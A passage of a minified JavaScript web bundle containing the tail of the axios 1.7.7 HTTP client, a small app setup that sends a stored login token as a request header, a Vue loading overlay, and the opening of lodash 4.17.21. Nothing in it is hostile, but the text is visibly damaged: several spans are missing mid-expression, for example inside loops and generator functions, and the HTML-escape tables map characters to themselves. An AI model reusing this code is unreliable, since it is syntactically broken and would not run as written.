u=z.isString(c)?o(c):c;return u.protocol===s.protocol&&u.host===s.host}}():function(){return function(){return!0}}(),PC=an.hasStandardBrowserEnv?{write(e,t,n,s,o,a){const c=[e+"="+encodeURIComponent(t)];z.isNumber(n)&&c.push("expires="+new Date(n).toGMTString()),z.isString(s)&&c.push("path="+s),z.isString(o)&&c.push("domain="+o),a===!0&&c.push("secure"),document.cookie=c.join("; ")},read(e){const t=document.cookie.match(new RegExp("(^|;\\s*)("+e+")=([^;]*)"));return t?decodeURIComponent(t[3]):null},remove(e){this.write(e,"",Date.now()-864e5)}}:{write(){},read(){return null},remove(){}};function kC(e){return/^([a-z][a-z\d+\-.]*:)?\/\//i.test(e)}function DC(e,t){return t?e.replace(/\/?\/$/,"")+"/"+t.replace(/^\/+/,""):e}function R_(e,t){return e&&!kC(t)?DC(e,t):t}const Gp=e=>e instanceof $n?{...e}:e;function us(e,t){t=t||{};const n={};function s(d,m,g){return z.isPlainObject(d)&&z.isPlainObject(m)?z.merge.call({caseless:g},d,m):z.isPlainObject(m)?z.merge({},m):z.isArray(m)?m.slice():m}function o(d,m,g){if(z.isUndefined(m)){if(!z.isUndefined(d))return s(void 0,d,g)}else return s(d,m,g)}function a(d,m){if(!z.isUndefined(m))return s(void 0,m)}function c(d,m){if(z.isUndefined(m)){if(!z.isUndefined(d))return s(void 0,d)}else return s(void 0,m)}function u(d,m,g){if(g in t)return s(d,m);if(g in e)return s(void 0,d)}const h={url:a,method:a,data:a,baseURL:c,transformRequest:c,transformResponse:c,paramsSerializer:c,timeout:c,timeoutMessage:c,withCredentials:c,withXSRFToken:c,adapter:c,responseType:c,xsrfCookieName:c,xsrfHeaderName:c,onUploadProgress:c,onDownloadProgress:c,decompress:c,maxContentLength:c,maxBodyLength:c,beforeRedirect:c,transport:c,httpAgent:c,httpsAgent:c,cancelToken:c,socketPath:c,responseEncoding:c,validateStatus:u,headers:(d,m)=>o(Gp(d),Gp(m),!0)};return z.forEach(Object.keys(Object.assign({},e,t)),function(m){const g=h[m]||o,w=g(e[m],t[m],m);z.isUndefined(w)&&g!==u||(n[m]=w)}),n}const A_=e=>{const t=us({},e);let{data:n,withXSRFToken:s,xsrfHeaderName:o,xsrfCookieName:a,headers:c,auth:u}=t;t.headers=c=$n.from(c),t.url=E_(R_(t.baseURL,t.url),e.params,e.paramsSerializer),u&&c.set("Authorization","Basic "+btoa((u.username||"")+":"+(u.password?unescape(encodeURIComponent(u.password)):"")));let h;if(z.isFormData(n)){if(an.hasStandardBrowserEnv||an.hasStandardBrowserWebWorkerEnv)c.setContentType(void 0);else if((h=c.getContentType())!==!1){const[d,...m]=h?h.split(";").map(g=>g.trim()).filter(Boolean):[];c.setContentType([d||"multipart/form-data",...m].join("; "))}}if(an.hasStandardBrowserEnv&&(s&&z.isFunction(s)&&(s=s(t)),s||s!==!1&&NC(t.url))){const d=o&&a&&PC.read(a);d&&c.set(o,d)}return t},MC=typeof XMLHttpRequest<"u",FC=MC&&function(e){return new Promise(function(n,s){const o=A_(e);let a=o.data;const c=$n.from(o.headers).normalize();let{responseType:u,onUploadProgress:h,onDownloadProgress:d}=o,m,g,w,O,P;function F(){O&&O(),P&&P(),o.cancelToken&&o.cancelToken.unsubscribe(m),o.signal&&o.signal.removeEventListener("abort",m)}let D=new XMLHttpRequest;D.open(o.method.toUpperCase(),o.url,!0),D.timeout=o.timeout;function R(){if(!D)return;const U=$n.from("getAllResponseHeaders"in D&&D.getAllResponseHeaders()),q={data:!u||u==="text"||u==="json"?D.responseText:D.response,status:D.status,statusText:D.statusText,headers:U,config:e,request:D};O_(function(W){n(W),F()},function(W){s(W),F()},q),D=null}"onloadend"in D?D.onloadend=R:D.onreadystatechange=function(){!D||D.readyState!==4||D.status===0&&!(D.responseURL&&D.responseURL.indexOf("file:")===0)||setTimeout(R)},D.onabort=function(){D&&(s(new xe("Request aborted",xe.ECONNABORTED,e,D)),D=null)},D.onerror=function(){s(new xe("Network Error",xe.ERR_NETWORK,e,D)),D=null},D.ontimeout=function(){let x=o.timeout?"timeout of "+o.timeout+"ms exceeded":"timeout exceeded";const q=o.transitional||w_;o.timeoutErrorMessage&&(x=o.timeoutErrorMessage),s(new xe(x,q.clarifyTimeoutError?xe.ETIMEDOUT:xe.ECONNABORTED,e,D)),D=null},a===void 0&&c.setContentType(null),"setRequestHeader"in D&&z.forEach(c.toJSON(),function(x,q){D.setRequestHeader(q,x)}),z.isUndefined(o.withCredentials)||(D.withCredentials=!!o.withCredentials),u&&u!=="json"&&(D.responseType=o.responseType),d&&([w,P]=pa(d,!0),D.addEventListener("progress",w)),h&&D.upload&&([g,O]=pa(h),D.upload.addEventListener("progress",g),D.upload.addEventListener("loadend",O)),(o.cancelToken||o.signal)&&(m=U=>{D&&(s(!U||U.type?new zs(null,e,D):U),D.abort(),D=null)},o.cancelToken&&o.cancelToken.subscribe(m),o.signal&&(o.signal.aborted?m():o.signal.addEventListener("abort",m)));const N=xC(o.url);if(N&&an.protocols.indexOf(N)===-1){s(new xe("Unsupported protocol "+N+":",xe.ERR_BAD_REQUEST,e));return}D.send(a||null)})},UC=(e,t)=>{const{length:n}=e=e?e.filter(Boolean):[];if(t||n){let s=new AbortController,o;const a=function(d){if(!o){o=!0,u();const m=d instanceof Error?d:this.reason;s.abort(m instanceof xe?m:new zs(m instanceof Error?m.message:m))}};let c=t&&setTimeout(()=>{c=null,a(new xe(`timeout ${t} of ms exceeded`,xe.ETIMEDOUT))},t);const u=()=>{e&&(c&&clearTimeout(c),c=null,e.forEach(d=>{d.unsubscribe?d.unsubscribe(a):d.removeEventListener("abort",a)}),e=null)};e.forEach(d=>d.addEventListener("abort",a));const{signal:h}=s;return h.unsubscribe=()=>z.asap(u),h}},BC=UC,$C=function*(e,t){let n=e.byteLength;if(!t||n{const o=WC(e,t);let a=0,c,u=h=>{c||(c=!0,s&&s(h))};return new ReadableStream({async pull(h){try{const{done:d,value:m}=await o.next();if(d){u(),h.close();return}let g=m.byteLength;if(n){let w=a+=g;n(w)}h.enqueue(new Uint8Array(m))}catch(d){throw u(d),d}},cancel(h){return u(h),o.return()}},{highWaterMark:2})},Ua=typeof fetch=="function"&&typeof Request=="function"&&typeof Response=="function",C_=Ua&&typeof ReadableStream=="function",VC=Ua&&(typeof TextEncoder=="function"?(e=>t=>e.encode(t))(new TextEncoder):async e=>new Uint8Array(await new Response(e).arrayBuffer())),x_=(e,...t)=>{try{return!!e(...t)}catch{return!1}},qC=C_&&x_(()=>{let e=!1;const t=new Request(an.origin,{body:new ReadableStream,method:"POST",get duplex(){return e=!0,"half"}}).headers.has("Content-Type");return e&&!t}),Yp=64*1024,eu=C_&&x_(()=>z.isReadableStream(new Response("").body)),ma={stream:eu&&(e=>e.body)};Ua&&(e=>{["text","arrayBuffer","blob","formData","stream"].forEach(t=>{!ma[t]&&(ma[t]=z.isFunction(e[t])?n=>n[t]():(n,s)=>{throw new xe(`Response type '${t}' is not supported`,xe.ERR_NOT_SUPPORT,s)})})})(new Response);const KC=async e=>{if(e==null)return 0;if(z.isBlob(e))return e.size;if(z.isSpecCompliantForm(e))return(await new Request(an.origin,{method:"POST",body:e}).arrayBuffer()).byteLength;if(z.isArrayBufferView(e)||z.isArrayBuffer(e))return e.byteLength;if(z.isURLSearchParams(e)&&(e=e+""),z.isString(e))return(await VC(e)).byteLength},zC=async(e,t)=>{const n=z.toFiniteNumber(e.getContentLength());return n??KC(t)},GC=Ua&&(async e=>{let{url:t,method:n,data:s,signal:o,cancelToken:a,timeout:c,onDownloadProgress:u,onUploadProgress:h,responseType:d,headers:m,withCredentials:g="same-origin",fetchOptions:w}=A_(e);d=d?(d+"").toLowerCase():"text";let O=BC([o,a&&a.toAbortSignal()],c),P;const F=O&&O.unsubscribe&&(()=>{O.unsubscribe()});let D;try{if(h&&qC&&n!=="get"&&n!=="head"&&(D=await zC(m,s))!==0){let q=new Request(t,{method:"POST",body:s,duplex:"half"}),Z;if(z.isFormData(s)&&(Z=q.headers.get("content-type"))&&m.setContentType(Z),q.body){const[W,ae]=Kp(D,pa(zp(h)));s=jp(q.body,Yp,W,ae)}}z.isString(g)||(g=g?"include":"omit");const R="credentials"in Request.prototype;P=new Request(t,{...w,signal:O,method:n.toUpperCase(),headers:m.normalize().toJSON(),body:s,duplex:"half",credentials:R?g:void 0});let N=await fetch(P);const U=eu&&(d==="stream"||d==="response");if(eu&&(u||U&&F)){const q={};["status","statusText","headers"].forEach(se=>{q[se]=N[se]});const Z=z.toFiniteNumber(N.headers.get("content-length")),[W,ae]=u&&Kp(Z,pa(zp(u),!0))||[];N=new Response(jp(N.body,Yp,W,()=>{ae&&ae(),F&&F()}),q)}d=d||"text";let x=await ma[z.findKey(ma,d)||"text"](N,e);return!U&&F&&F(),await new Promise((q,Z)=>{O_(q,Z,{data:x,headers:$n.from(N.headers),status:N.status,statusText:N.statusText,config:e,request:P})})}catch(R){throw F&&F(),R&&R.name==="TypeError"&&/fetch/i.test(R.message)?Object.assign(new xe("Network Error",xe.ERR_NETWORK,e,P),{cause:R.cause||R}):xe.from(R,R&&R.code,e,P)}}),tu={http:oC,xhr:FC,fetch:GC};z.forEach(tu,(e,t)=>{if(e){try{Object.defineProperty(e,"name",{value:t})}catch{}Object.defineProperty(e,"adapterName",{value:t})}});const Jp=e=>`- ${e}`,jC=e=>z.isFunction(e)||e===null||e===!1,L_={getAdapter:e=>{e=z.isArray(e)?e:[e];const{length:t}=e;let n,s;const o={};for(let a=0;a`adapter ${u} `+(h===!1?"is not supported by the environment":"is not available in the build"));let c=t?a.length>1?`since : `+a.map(Jp).join(` `):" "+Jp(a[0]):"as no adapter specified";throw new xe("There is no suitable adapter to dispatch the request "+c,"ERR_NOT_SUPPORT")}return s},adapters:tu};function Tc(e){if(e.cancelToken&&e.cancelToken.throwIfRequested(),e.signal&&e.signal.aborted)throw new zs(null,e)}function Xp(e){return Tc(e),e.headers=$n.from(e.headers),e.data=Sc.call(e,e.transformRequest),["post","put","patch"].indexOf(e.method)!==-1&&e.headers.setContentType("application/x-www-form-urlencoded",!1),L_.getAdapter(e.adapter||Qu.adapter)(e).then(function(s){return Tc(e),s.data=Sc.call(e,e.transformResponse,s),s.headers=$n.from(s.headers),s},function(s){return T_(s)||(Tc(e),s&&s.response&&(s.response.data=Sc.call(e,e.transformResponse,s.response),s.response.headers=$n.from(s.response.headers))),Promise.reject(s)})}const I_="1.7.7",Zu={};["object","boolean","number","function","string","symbol"].forEach((e,t)=>{Zu[e]=function(s){return typeof s===e||"a"+(t<1?"n ":" ")+e}});const Qp={};Zu.transitional=function(t,n,s){function o(a,c){return"[Axios v"+I_+"] Transitional option '"+a+"'"+c+(s?". "+s:"")}return(a,c,u)=>{if(t===!1)throw new xe(o(c," has been removed"+(n?" in "+n:"")),xe.ERR_DEPRECATED);return n&&!Qp[c]&&(Qp[c]=!0,console.warn(o(c," has been deprecated since v"+n+" and will be removed in the near future"))),t?t(a,c,u):!0}};function YC(e,t,n){if(typeof e!="object")throw new xe("options must be an object",xe.ERR_BAD_OPTION_VALUE);const s=Object.keys(e);let o=s.length;for(;o-- >0;){const a=s[o],c=t[a];if(c){const u=e[a],h=u===void 0||c(u,a,e);if(h!==!0)throw new xe("option "+a+" must be "+h,xe.ERR_BAD_OPTION_VALUE);continue}if(n!==!0)throw new xe("Unknown option "+a,xe.ERR_BAD_OPTION)}}const nu={assertOptions:YC,validators:Zu},Cr=nu.validators;class ga{constructor(t){this.defaults=t,this.interceptors={request:new Vp,response:new Vp}}async request(t,n){try{return await this._request(t,n)}catch(s){if(s instanceof Error){let o;Error.captureStackTrace?Error.captureStackTrace(o={}):o=new Error;const a=o.stack?o.stack.replace(/^.+\n/,""):"";try{s.stack?a&&!String(s.stack).endsWith(a.replace(/^.+\n.+\n/,""))&&(s.stack+=` `+a):s.stack=a}catch{}}throw s}}_request(t,n){typeof t=="string"?(n=n||{},n.url=t):n=t||{},n=us(this.defaults,n);const{transitional:s,paramsSerializer:o,headers:a}=n;s!==void 0&&nu.assertOptions(s,{silentJSONParsing:Cr.transitional(Cr.boolean),forcedJSONParsing:Cr.transitional(Cr.boolean),clarifyTimeoutError:Cr.transitional(Cr.boolean)},!1),o!=null&&(z.isFunction(o)?n.paramsSerializer={serialize:o}:nu.assertOptions(o,{encode:Cr.function,serialize:Cr.function},!0)),n.method=(n.method||this.defaults.method||"get").toLowerCase();let c=a&&z.merge(a.common,a[n.method]);a&&z.forEach(["delete","get","head","post","put","patch","common"],P=>{delete a[P]}),n.headers=$n.concat(c,a);const u=[];let h=!0;this.interceptors.request.forEach(function(F){typeof F.runWhen=="function"&&F.runWhen(n)===!1||(h=h&&F.synchronous,u.unshift(F.fulfilled,F.rejected))});const d=[];this.interceptors.response.forEach(function(F){d.push(F.fulfilled,F.rejected)});let m,g=0,w;if(!h){const P=[Xp.bind(this),void 0];for(P.unshift.apply(P,u),P.push.apply(P,d),w=P.length,m=Promise.resolve(n);g{if(!s._listeners)return;let a=s._listeners.length;for(;a-- >0;)s._listeners[a](o);s._listeners=null}),this.promise.then=o=>{let a;const c=new Promise(u=>{s.subscribe(u),a=u}).then(o);return c.cancel=function(){s.unsubscribe(a)},c},t(function(a,c,u){s.reason||(s.reason=new zs(a,c,u),n(s.reason))})}throwIfRequested(){if(this.reason)throw this.reason}subscribe(t){if(this.reason){t(this.reason);return}this._listeners?this._listeners.push(t):this._listeners=[t]}unsubscribe(t){if(!this._listeners)return;const n=this._listeners.indexOf(t);n!==-1&&this._listeners.splice(n,1)}toAbortSignal(){const t=new AbortController,n=s=>{t.abort(s)};return this.subscribe(n),t.signal.unsubscribe=()=>this.unsubscribe(n),t.signal}static source(){let t;return{token:new ef(function(o){t=o}),cancel:t}}}const JC=ef;function XC(e){return function(n){return e.apply(null,n)}}function QC(e){return z.isObject(e)&&e.isAxiosError===!0}const ru={Continue:100,SwitchingProtocols:101,Processing:102,EarlyHints:103,Ok:200,Created:201,Accepted:202,NonAuthoritativeInformation:203,NoContent:204,ResetContent:205,PartialContent:206,MultiStatus:207,AlreadyReported:208,ImUsed:226,MultipleChoices:300,MovedPermanently:301,Found:302,SeeOther:303,NotModified:304,UseProxy:305,Unused:306,TemporaryRedirect:307,PermanentRedirect:308,BadRequest:400,Unauthorized:401,PaymentRequired:402,Forbidden:403,NotFound:404,MethodNotAllowed:405,NotAcceptable:406,ProxyAuthenticationRequired:407,RequestTimeout:408,Conflict:409,Gone:410,LengthRequired:411,PreconditionFailed:412,PayloadTooLarge:413,UriTooLong:414,UnsupportedMediaType:415,RangeNotSatisfiable:416,ExpectationFailed:417,ImATeapot:418,MisdirectedRequest:421,UnprocessableEntity:422,Locked:423,FailedDependency:424,TooEarly:425,UpgradeRequired:426,PreconditionRequired:428,TooManyRequests:429,RequestHeaderFieldsTooLarge:431,UnavailableForLegalReasons:451,InternalServerError:500,NotImplemented:501,BadGateway:502,ServiceUnavailable:503,GatewayTimeout:504,HttpVersionNotSupported:505,VariantAlsoNegotiates:506,InsufficientStorage:507,LoopDetected:508,NotExtended:510,NetworkAuthenticationRequired:511};Object.entries(ru).forEach(([e,t])=>{ru[t]=e});const ZC=ru;function N_(e){const t=new Zo(e),n=c_(Zo.prototype.request,t);return z.extend(n,Zo.prototype,t,{allOwnKeys:!0}),z.extend(n,t,null,{allOwnKeys:!0}),n.create=function(o){return N_(us(e,o))},n}const Tt=N_(Qu);Tt.Axios=Zo;Tt.CanceledError=zs;Tt.CancelToken=JC;Tt.isCancel=T_;Tt.VERSION=I_;Tt.toFormData=Ma;Tt.AxiosError=xe;Tt.Cancel=Tt.CanceledError;Tt.all=function(t){return Promise.all(t)};Tt.spread=XC;Tt.isAxiosError=QC;Tt.mergeConfig=us;Tt.AxiosHeaders=$n;Tt.formToJSON=e=>S_(z.isHTMLForm(e)?new FormData(e):e);Tt.getAdapter=L_.getAdapter;Tt.HttpStatusCode=ZC;Tt.default=Tt;const ex=Tt;let vi="/";vi==="/"?vi="/":vi="https://"+vi;const Ba=ex.create({baseURL:vi,timeout:5e3});Ba.interceptors.request.use(e=>{const t=localStorage.getItem("token");return t&&(e.headers.Token=`${t}`),e},e=>Promise.reject(e));Ba.interceptors.response.use(e=>e.data,e=>(e.response?(console.error("Error:",e.response.data),console.error("Status:",e.response.status)):console.error("Error",e.message),Promise.reject(e)));const Gs=ER("loading",{state:()=>({isLoading:!1}),actions:{setLoading(e){this.isLoading=e}}}),tx=hs({setup(){const e=Gs();return{isLoading:Dt(()=>e.isLoading)}}});const nx=(e,t)=>{const n=e.__vccOpts||e;for(const[s,o]of t)n[s]=o;return n},rx={key:0,class:"loading-overlay"};function sx(e,t,n,s,o,a){return e.isLoading?(Ni(),Hg("div",rx,t[0]||(t[0]=[qu("div",{class:"spinner"},null,-1)]))):xO("",!0)}const ix=nx(tx,[["render",sx]]);var Ns=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function P_(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var _a={exports:{}};/** * @license * Lodash * Copyright OpenJS Foundation and other contributors * Released under MIT license * Based on Underscore.js 1.8.3 * Copyright Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors */_a.exports;(function(e,t){(function(){var n,s="4.17.21",o=200,a="Unsupported core-js use. Try https://npms.io/search?q=ponyfill.",c="Expected a function",u="Invalid `variable` option passed into `_.template`",h="__lodash_hash_undefined__",d=500,m="__lodash_placeholder__",g=1,w=2,O=4,P=1,F=2,D=1,R=2,N=4,U=8,x=16,q=32,Z=64,W=128,ae=256,se=512,Ae=30,Ve="...",Me=800,qe=16,$t=1,Wt=2,We=3,me=1/0,ye=9007199254740991,et=17976931348623157e292,bt=0/0,ce=4294967295,Y=ce-1,de=ce>>>1,Ce=[["ary",W],["bind",D],["bindKey",R],["curry",U],["curryRight",x],["flip",se],["partial",q],["partialRight",Z],["rearg",ae]],He="[object Arguments]",Le="[object Array]",V="[object AsyncFunction]",re="[object Boolean]",ne="[object Date]",oe="[object DOMException]",ge="[object Error]",Pe="[object Function]",v="[object GeneratorFunction]",S="[object Map]",M="[object Number]",Q="[object Null]",K="[object Object]",b="[object Promise]",E="[object Proxy]",L="[object RegExp]",B="[object Set]",G="[object String]",te="[object Symbol]",C="[object Undefined]",$="[object WeakMap]",ie="[object WeakSet]",fe="[object ArrayBuffer]",Ee="[object DataView]",Se="[object Float32Array]",rt="[object Float64Array]",ct="[object Int8Array]",Ot="[object Int16Array]",wt="[object Int32Array]",bn="[object Uint8Array]",Qn="[object Uint8ClampedArray]",Rt="[object Uint16Array]",Ge="[object Uint32Array]",mt=/\b__p \+= '';/g,st=/\b(__p \+=) '' \+/g,Ka=/(__e\(.*?\)|\b__t\)) \+\n'';/g,Xs=/&(?:amp|lt|gt|quot|#39);/g,ji=/[&<>"']/g,Yi=RegExp(Xs.source),za=RegExp(ji.source),hy=/<%-([\s\S]+?)%>/g,dy=/<%([\s\S]+?)%>/g,gf=/<%=([\s\S]+?)%>/g,py=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,my=/^\w*$/,gy=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g,Ga=/[\\^$.*+?()[\]{}|]/g,_y=RegExp(Ga.source),ja=/^\s+/,yy=/\s/,by=/\{(?:\n\/\* \[wrapped with .+\] \*\/)?\n?/,vy=/\{\n\/\* \[wrapped with (.+)\] \*/,Ey=/,? & /,wy=/[^\x00-\x2f\x3a-\x40\x5b-\x60\x7b-\x7f]+/g,Sy=/[()=,{}\[\]\/\s]/,Ty=/\\(\\)?/g,Oy=/\$\{([^\\}]*(?:\\.[^\\}]*)*)\}/g,_f=/\w*$/,Ry=/^[-+]0x[0-9a-f]+$/i,Ay=/^0b[01]+$/i,Cy=/^\[object .+?Constructor\]$/,xy=/^0o[0-7]+$/i,Ly=/^(?:0|[1-9]\d*)$/,Iy=/[\xc0-\xd6\xd8-\xf6\xf8-\xff\u0100-\u017f]/g,Ji=/($^)/,Ny=/['\n\r\u2028\u2029\\]/g,Xi="\\ud800-\\udfff",Py="\\u0300-\\u036f",ky="\\ufe20-\\ufe2f",Dy="\\u20d0-\\u20ff",yf=Py+ky+Dy,bf="\\u2700-\\u27bf",vf="a-z\\xdf-\\xf6\\xf8-\\xff",My="\\xac\\xb1\\xd7\\xf7",Fy="\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf",Uy="\\u2000-\\u206f",By=" \\t\\x0b\\f\\xa0\\ufeff\\n\\r\\u2028\\u2029\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000",Ef="A-Z\\xc0-\\xd6\\xd8-\\xde",wf="\\ufe0e\\ufe0f",Sf=My+Fy+Uy+By,Ya="['’]",$y="["+Xi+"]",Tf="["+Sf+"]",Qi="["+yf+"]",Of="\\d+",Wy="["+bf+"]",Rf="["+vf+"]",Af="[^"+Xi+Sf+Of+bf+vf+Ef+"]",Ja="\\ud83c[\\udffb-\\udfff]",Hy="(?:"+Qi+"|"+Ja+")",Cf="[^"+Xi+"]",Xa="(?:\\ud83c[\\udde6-\\uddff]){2}",Qa="[\\ud800-\\udbff][\\udc00-\\udfff]",ds="["+Ef+"]",xf="\\u200d",Lf="(?:"+Rf+"|"+Af+")",Vy="(?:"+ds+"|"+Af+")",If="(?:"+Ya+"(?:d|ll|m|re|s|t|ve))?",Nf="(?:"+Ya+"(?:D|LL|M|RE|S|T|VE))?",Pf=Hy+"?",kf="["+wf+"]?",qy="(?:"+xf+"(?:"+[Cf,Xa,Qa].join("|")+")"+kf+Pf+")*",Ky="\\d*(?:1st|2nd|3rd|(?![123])\\dth)(?=\\b|[A-Z_])",zy="\\d*(?:1ST|2ND|3RD|(?![123])\\dTH)(?=\\b|[a-z_])",Df=kf+Pf+qy,Gy="(?:"+[Wy,Xa,Qa].join("|")+")"+Df,jy="(?:"+[Cf+Qi+"?",Qi,Xa,Qa,$y].join("|")+")",Yy=RegExp(Ya,"g"),Jy=RegExp(Qi,"g"),Za=RegExp(Ja+"(?="+Ja+")|"+jy+Df,"g"),Xy=RegExp([ds+"?"+Rf+"+"+If+"(?="+[Tf,ds,"$"].join("|")+")",Vy+"+"+Nf+"(?="+[Tf,ds+Lf,"$"].join("|")+")",ds+"?"+Lf+"+"+If,ds+"+"+Nf,zy,Ky,Of,Gy].join("|"),"g"),Qy=RegExp("["+xf+Xi+yf+wf+"]"),Zy=/[a-z][A-Z]|[A-Z]{2}[a-z]|[0-9][a-zA-Z]|[a-zA-Z][0-9]|[^a-zA-Z0-9 ]/,eb=["Array","Buffer","DataView","Date","Error","Float32Array","Float64Array","Function","Int8Array","Int16Array","Int32Array","Map","Math","Object","Promise","RegExp","Set","String","Symbol","TypeError","Uint8Array","Uint8ClampedArray","Uint16Array","Uint32Array","WeakMap","_","clearTimeout","isFinite","parseInt","setTimeout"],tb=-1,at={};at[Se]=at[rt]=at[ct]=at[Ot]=at[wt]=at[bn]=at[Qn]=at[Rt]=at[Ge]=!0,at[He]=at[Le]=at[fe]=at[re]=at[Ee]=at[ne]=at[ge]=at[Pe]=at[S]=at[M]=at[K]=at[L]=at[B]=at[G]=at[$]=!1;var it={};it[He]=it[Le]=it[fe]=it[Ee]=it[re]=it[ne]=it[Se]=it[rt]=it[ct]=it[Ot]=it[wt]=it[S]=it[M]=it[K]=it[L]=it[B]=it[G]=it[te]=it[bn]=it[Qn]=it[Rt]=it[Ge]=!0,it[ge]=it[Pe]=it[$]=!1;var nb={À:"A",Á:"A",Â:"A",Ã:"A",Ä:"A",Å:"A",à:"a",á:"a",â:"a",ã:"a",ä:"a",å:"a",Ç:"C",ç:"c",Ð:"D",ð:"d",È:"E",É:"E",Ê:"E",Ë:"E",è:"e",é:"e",ê:"e",ë:"e",Ì:"I",Í:"I",Î:"I",Ï:"I",ì:"i",í:"i",î:"i",ï:"i",Ñ:"N",ñ:"n",Ò:"O",Ó:"O",Ô:"O",Õ:"O",Ö:"O",Ø:"O",ò:"o",ó:"o",ô:"o",õ:"o",ö:"o",ø:"o",Ù:"U",Ú:"U",Û:"U",Ü:"U",ù:"u",ú:"u",û:"u",ü:"u",Ý:"Y",ý:"y",ÿ:"y",Æ:"Ae",æ:"ae",Þ:"Th",þ:"th",ß:"ss",Ā:"A",Ă:"A",Ą:"A",ā:"a",ă:"a",ą:"a",Ć:"C",Ĉ:"C",Ċ:"C",Č:"C",ć:"c",ĉ:"c",ċ:"c",č:"c",Ď:"D",Đ:"D",ď:"d",đ:"d",Ē:"E",Ĕ:"E",Ė:"E",Ę:"E",Ě:"E",ē:"e",ĕ:"e",ė:"e",ę:"e",ě:"e",Ĝ:"G",Ğ:"G",Ġ:"G",Ģ:"G",ĝ:"g",ğ:"g",ġ:"g",ģ:"g",Ĥ:"H",Ħ:"H",ĥ:"h",ħ:"h",Ĩ:"I",Ī:"I",Ĭ:"I",Į:"I",İ:"I",ĩ:"i",ī:"i",ĭ:"i",į:"i",ı:"i",Ĵ:"J",ĵ:"j",Ķ:"K",ķ:"k",ĸ:"k",Ĺ:"L",Ļ:"L",Ľ:"L",Ŀ:"L",Ł:"L",ĺ:"l",ļ:"l",ľ:"l",ŀ:"l",ł:"l",Ń:"N",Ņ:"N",Ň:"N",Ŋ:"N",ń:"n",ņ:"n",ň:"n",ŋ:"n",Ō:"O",Ŏ:"O",Ő:"O",ō:"o",ŏ:"o",ő:"o",Ŕ:"R",Ŗ:"R",Ř:"R",ŕ:"r",ŗ:"r",ř:"r",Ś:"S",Ŝ:"S",Ş:"S",Š:"S",ś:"s",ŝ:"s",ş:"s",š:"s",Ţ:"T",Ť:"T",Ŧ:"T",ţ:"t",ť:"t",ŧ:"t",Ũ:"U",Ū:"U",Ŭ:"U",Ů:"U",Ű:"U",Ų:"U",ũ:"u",ū:"u",ŭ:"u",ů:"u",ű:"u",ų:"u",Ŵ:"W",ŵ:"w",Ŷ:"Y",ŷ:"y",Ÿ:"Y",Ź:"Z",Ż:"Z",Ž:"Z",ź:"z",ż:"z",ž:"z",IJ:"IJ",ij:"ij",Œ:"Oe",œ:"oe",ʼn:"'n",ſ:"s"},rb={"&":"&","<":"<",">":">",'"':""","'":"'"},sb={"&":"&","<":"<",">":">",""":'"',"'":"'"},ib={"\\":"\\","'":"'","\n":"n","\r":"r","\u2028":"u2028","\u2029":"u2029"},ob=parseFloat,ab=parseInt,Mf=typeof Ns=="object"&&Ns&&Ns.Object===Object&&Ns,lb=typeof self=="object"&&self&&self.Object===Object&&self,Ut=Mf||lb||Function("return this")(),el=t&&!t.nodeType&&t,qr=el&&!0&&e&&!e.nodeType&&e,Ff=qr&&qr.exports===el,tl=Ff&&Mf.process,vn=function(){try{var I=qr&&qr.require&&qr.require("util").types;return I||tl&&tl.binding&&tl.binding("util")}catch{}}(),Uf=vn&&vn.isArrayBuffer,Bf=vn&&vn.isDate,$f=vn&&vn.isMap,Wf=vn&&vn.isRegExp,Hf=vn&&vn.isSet,Vf=vn&&vn.isTypedArray;function cn(I,j,H){switch(H.length){case 0:return I.call(j);case 1:return I.call(j,H[0]);case 2:return I.call(j,H[0],H[1]);case 3:return I.call(j,H[0],H[1],H[2])}return I.apply(j,H)}function cb(I,j,H,he){for(var Te=-1,je=I==null?0:I.length;++Te-1}function nl(I,j,H){for(var he=-1,Te=I==null?0:I.length;++he-1;);return H}function Xf(I,j){for(var H=I.length;H--&&ps(j,I[H],0)>-1;);return H}function yb(I,j){for(var H=I.length,he=0;H--;)I[H]===j&&++he;return he}var bb=ol(nb),vb=ol(rb);function Eb(I){return"\\"+ib[I]}function wb(I,j){return I==null?n:I[j]}function ms(I){return Qy.test(I)}function Sb(I){return Zy.test(I)}function Tb(I){for(var j,H=[];!(j=I.next()).done;)H.push(j.value);return H}function ul(I){var j=-1,H=Array(I.size);return I.forEach(function(he,Te){H[++j]=[Te,he]}),H}function Qf(I,j){return function(H){return I(j(H))}}function vr(I,j){for(var H=-1,he=I.length,Te=0,je=[];++H-1}function f0(r,i){var l=this.__data__,f=_o(l,r);return f<0?(++this.size,l.push([r,i])):l[f][1]=i,this}Zn.prototype.clear=a0,Zn.prototype.delete=l0,Zn.prototype.get=c0,Zn.prototype.has=u0,Zn.prototype.set=f0;function er(r){var i=-1,l=r==null?0:r.length;for(this.clear();++i=i?r:i)),r}function Tn(r,i,l,f,p,y){var T,A=i&g,k=i&w,J=i&O;if(l&&(T=p?l(r,f,p,y):l(r)),T!==n)return T;if(!ht(r))return r;var X=Oe(r);if(X){if(T=mv(r),!A)return nn(r,T)}else{var ee=Vt(r),le=ee==Pe||ee==v;if(Rr(r))return kh(r,A);if(ee==K||ee==He||le&&!p){if(T=k||le?{}:Zh(r),!A)return k?sv(r,A0(T,r)):rv(r,uh(T,r))}else{if(!it[ee])return p?r:{};T=gv(r,ee,A)}}y||(y=new Nn);var pe=y.get(r);if(pe)return pe;y.set(r,T),Cd(r)?r.forEach(function(ve){T.add(Tn(ve,i,l,ve,r,y))}):Rd(r)&&r.forEach(function(ve,Fe){T.set(Fe,Tn(ve,i,l,Fe,r,y))});var be=J?k?Ml:Dl:k?sn:Pt,Ne=X?n:be(r);return En(Ne||r,function(ve,Fe){Ne&&(Fe=ve,ve=r[Fe]),si(T,Fe,Tn(ve,i,l,Fe,r,y))}),T}function C0(r){var i=Pt(r);return function(l){return fh(l,r,i)}}function fh(r,i,l){var 